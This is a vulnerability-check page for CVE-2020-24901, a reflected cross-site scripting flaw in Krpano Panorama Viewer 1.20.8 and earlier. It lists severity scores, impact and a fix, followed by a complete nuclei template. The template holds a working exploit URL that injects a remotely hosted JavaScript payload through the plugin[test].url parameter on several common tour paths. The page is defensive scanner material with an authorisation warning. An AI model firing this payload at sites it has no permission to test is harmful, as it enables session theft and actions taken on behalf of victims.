Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.2%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the plugin[test].url parameter in krpano.html. When passQueryParameters allows plugin parameters, a remote Javascript file supplied in the URL is loaded as a plugin and executed in the origin of the viewer.

Impact

An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.

Fix

Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include plugin parameters, instead of true.

How to confirm it

Send: GET /
Positive when: contains(body, "embedpano(") and contains(body, "passQueryParameters")
Positive when: krpano_xss == true

Run it with nuclei: nuclei -id CVE-2020-24901 -u <target>

The full check

id: CVE-2020-24901

info:
  name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the plugin[test].url parameter in krpano.html. When passQueryParameters allows plugin parameters, a remote Javascript file supplied in the URL is loaded as a plugin and executed in the origin of the viewer.
  impact: |
    An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.
  remediation: |
    Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include plugin parameters, instead of true.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24901
    - https://krpano.com/docu/releasenotes/?version=12010
    - https://krpano.com/docu/embedpano/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24901
    epss-score: 0.05242
    epss-percentile: 0.92597
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: krpano
    product: panorama_viewer
    shodan-query: http.html:"embedpano"
  tags: cve,cve2020,krpano,xss,headless,viewer,vkev

variables:
  payload: "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/CVE-2020-24901.js"

flow: (http(1) || http(2)) && headless(1)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "embedpano(")'
          - 'contains(body, "passQueryParameters")'
        condition: and
        internal: true

headless:
  - payloads:
      path:
        - "/"
        - "/index.html"
        - "/tour.html"
        - "/krpano.html"
        - "/vtour/index.html"
        - "/vtour/tour.html"

    attack: batteringram

    steps:
      - action: navigate
        args:
          url: "{{BaseURL}}{{path}}?plugin[test].url={{payload}}"
      - action: waitdialog
        name: krpano_xss

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'krpano_xss == true'

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL + path + "?plugin[test].url=" + payload'

References

Use this check only on systems you are authorised to test. Where the data comes from